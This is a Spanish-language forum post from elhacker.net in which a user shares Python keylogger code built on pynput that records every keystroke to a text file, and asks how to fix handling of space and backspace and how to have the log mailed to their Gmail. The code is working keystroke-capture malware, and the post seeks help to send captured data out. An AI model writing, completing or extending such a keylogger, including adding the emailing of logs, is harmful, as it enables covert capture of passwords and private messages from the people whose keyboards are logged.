Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: Panic0 en 30 Agosto 2020, 04:12 am



Título: Problema con keylogger
Publicado por: Panic0 en 30 Agosto 2020, 04:12 am
Hola,estoy creando un keylogger.Y quiero que cuando se presione espacio o borrar se respete eso.Y no quede algo así (holaprueba12)

Y también quiero hacer que se me mande el archivo a mi gmail pero no se como hacer algo así.
Código:
from pynput.keyboard import Listener

f = open("KeyLogger{}.txt", "w")

def key_recorder(key):
    key=str(key)
    print(key)
    if key == "Key.enter":
        f.write("\n")
    elif key == "Key.space":
        f.write("")
    elif key == "Key.backspace":
        f.write("")
    elif key == "'\\x05'":
        f.close()
        quit()
    elif key == "Key.ctrl_l":
        f.write("")
    elif key == "Key.shift":
        f.write("")
    else:
        f.write(key.replace("'",""))
with Listener(on_press=key_recorder) as l1:
    l1.join()

PD:ctrl + e para cerrar el keylogger